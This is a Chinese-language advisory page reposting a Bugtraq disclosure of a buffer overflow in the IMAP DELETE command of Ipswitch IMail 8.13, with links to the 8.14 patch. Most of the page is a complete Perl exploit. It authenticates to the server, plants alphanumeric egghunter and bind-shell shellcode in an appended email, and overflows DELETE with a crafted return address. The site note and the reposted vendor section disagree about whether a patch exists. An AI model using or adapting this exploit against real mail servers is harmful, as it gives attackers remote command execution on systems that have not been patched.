IMail 8.13远程DELETE命令缓冲区溢出漏洞

 

一。邮件技术资讯网备注：这个漏洞Imail Server 8.13中发现。据消息在IMail Server 8.14及更高版本已修补，请各位及时下载最新版的补丁，本站在早前已提供下载，地址如下：

Ａ）Imail 8.14下载地址：
http://www.5dmail.net/down/list.asp?id=901

Ｂ）Imail 8.14补丁

http://www.5dmail.net/down/list.asp?id=902

 

二。以下为转载原文：

 

涉及Ipswitch IMail程序 描述

IPSwitch IMail 8.13远程DELETE命令缓冲区溢出漏洞 

Ipswitch IMail Server是一款强大的邮件解决方案。
Ipswitch IMail Server在处理DELETE命令时处理不正确，远程攻击者可以利用这个漏洞对系统进行缓冲区溢出攻击。
Ipswitch IMail在处理DELETE命令时缺少正确的边界缓冲区检查，验证用户提交超长参数的DELETE命令可以进程权限在系统上执行任意指令。

<*来源：Jerome （jerome@athias.fr）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=110037283803560&w=2
*>

受影响系统：
Ipswitch IMail 8.13 攻

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Jerome （jerome@athias.fr）提供了如下测试方法：

#!/usr/bin/perl -w
###################################
#
# IPSwitch-IMail-8.13-DELETE
#
# Discovered by : Muts
# Coded by : Zatlander
# WWW.WHITEHAT.CO.IL
#
##################################
#
# Plain vanilla stack overflow in the DELETE command
# Restrictions:
#  - Need valid authentication credentials
#  - Input buffer only allows characters between x20 -> x7e
#
# Credits:
#  - http://www.metasploit.org - HD Moore for the metasploit shellcode
#  - http://www.edup.tudelft.nl/~bjwever/menu.html - skylined for the ALPHA ascii /
shellcode generator #  - http://www.hick.org - for the syscall egghunt code in the /
paper "Understanding Windows Shellcode" #
##################################

use IO::Socket;
use Getopt::Std;
use Mail::IMAPClient;

print "Exploit for the IPSwitch IMail DELETE buffer overflow/n";
print "C0d3d by Zatlander/n";
print "Discovered by Muts/n";
print "WWW.WHITEHAT.CO.IL/n";
print "For hacking purposes only!!!/n/n";

# Find shellcode with signature "w00tw00t"; start from esp
# from 0 -> $egghunter = /
"TYIIIIIIIIIIIIIIII7QZjAXP 0A 0AkAAQ2AB2BB0BBABXP8ABuJIVSyBUco0OKbWdp00ptH0uXqRnkHH 2a 3PL /
Mvtvqzm6NulfePabTiaxbycrb09Gjt5xkTySjeTsEzFmSo2eXyoKRA"; $egghunter = /
"TYIIIIIIIIIIIIIIII7QZjAXP 0A 0AkAAQ2AB2BB0BBABXP8ABuJINkN44skpmkt7fPTpptx0UXpBLKkx1Q3PL /
MtT4QxMVN5lc5sQSDxqyrjSW2VYUJRUXkp9SjVdT5KVosKrWxioKRA";

# Real shellcode: bind shell on port 4444 ( ./alpha edx < shellcode.bin )
$shellcode = "JJJJJJJJJJJJJJJJJ7RYjAXP 0A 0AkAAQ2AB2BB0BBABXP8ABuJIKLjH2vUP7puPQCQEV6aGn /
kbLWT28NkpEWLlKpT35QhgqKZlKPJvxLKQJWPuQXkKSdrSyLKgDLKuQJNVQ9okLP1KpLlP8kPBT7wyQXOVmvah /
GZKl25kSLwTGdqeKQlK2zUts1jKSVnktL0KNkaJWlUQxkLK7tnkUQM8zKgrVQYP1OqNQMQKkreXWpSnSZp03i1 /
tlKGilKSkvlLKQK5Lnk7kLKckTH0SSXLNpN6nJLKOJvK9IWK1ZLuPfawps0Rwv63cMYiuJHDguPuPS0Np7qWp7 /
pnV6ywhYwMttYt0Yym5QYK62inDvzd0Kwy4nMDniyXYUYkENMHKxmylgKpWPSVRSovS4ruPckLMpKupRqKOYGK /
9YOoyKsLMBUTTRJs7Ryv1RsYoTtNokOv534pYk9dDNnyrxrtkgWPTKOtwIoRutpfQkp2ppPrpF0spPPaPv09oR /
uFLniYWuaYKScpSe86bC 07a 3lmYIpSZVpRpQGyoruQ4QCF7kOv5thBsSdSgIoRuUpNiYWPhpCRmStwpoyXcLGy /
jDqIPnmQlQ4NLaz7e69zSlkNgJZosXlPTkvQT7TTP1TQvYWpDWTul5QUQLIcLTdRhK9SLQ4RlmY1letPPLMSt5 /
tFpqDrppQRqCaSqSa2iBqRqRspQKO45uPbH0rKNNS4VKOpU5TyoXPLIyvKO45S0QxnMN9fexNYov5S4oyHCbJK /
OKOTvkOzsyorU30BHl0MZfdaOkORu7tFQyKPSIo8PA";

getopts("h:u:p:", /%args);

if ((!defined $args{h}) || (!defined $args{u}) || (!defined $args{p})) {
  print "Usage: $0 -h [host] -u [username] -p [password]/n";
  exit;}

$usr = $args{u};
$pwd = $args{p};
$host = $args{h};

# jb +20; jnb +20 -> jump over return address (0x21 is first ascii safe offset)
$jmp21 = "r!s!";

# 0x 6921526A -> pointer to "CALL [EDX+8]" ends up in return address
##########################################################################
# This should hopefully be the only version dependent variable here.
# Find an ASCII safe address pointing to a CALL [EDX+8] for your OS
##########################################################################
$calledx8 = "jR!i";

# aAA aligns ESP with the egghunter shellcode (popad, pop, pop)
$asciieh = "aAA" . $egghunter;
$asciisc = "w00tw00t" . $shellcode;
$email =
  "From: /"The guy hacking you/" <a/@b.com>/r/n" .
  "To: /"Poor You/" <b/@c.com>/r/n" .
  "Subject: $asciisc/r/n" .
  "Date: Wed, 3 Nov 2004 14:45:11 +0100/r/n" .
  "Message-ID: < 000101c 4c 1acdcndj6d69b90$5e 01a 8c 0/@snorlax>/r/n" .
  "Content-Type: text/plain;/r/n/tcharset=/"us-ascii/"/r/n" .
  "Content-Transfer-Encoding: 7bit/r/n" .
  "/r/n" .
  $asciisc;

$payload = "A" x 236 . $jmp21 x 3 . $calledx8 . "S" x 29 . $asciieh . "/r/n";

print "Login in to $host as $usr/$pwd/n";
my $imap = Mail::IMAPClient->new( Server => $host, User => $usr, Password=> $pwd) or /
die "Cannot connect: $@"; print "count: " . $imap->message_count("Inbox") . "/n";
print "Sending EGG/n";
$imap->select("Inbox") or die "Could not select: $@/n";
my $uid = $imap->append( "Inbox", $email ) or die "Cannot append: $@";
$msg = $imap->message_string($uid) or die "Cannot get message: $@";
#$msg = $imap->body_string($uid) or die "Cannot get message: $@";
#print "retrieving $uid back: $msg/n";

print "Overflowing DELETE/n";
$imap->delete($payload) or die "Cannot delete: $@n";

print("Finished.../n");

厂商补丁：Ipswitch
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.ipswitch.com/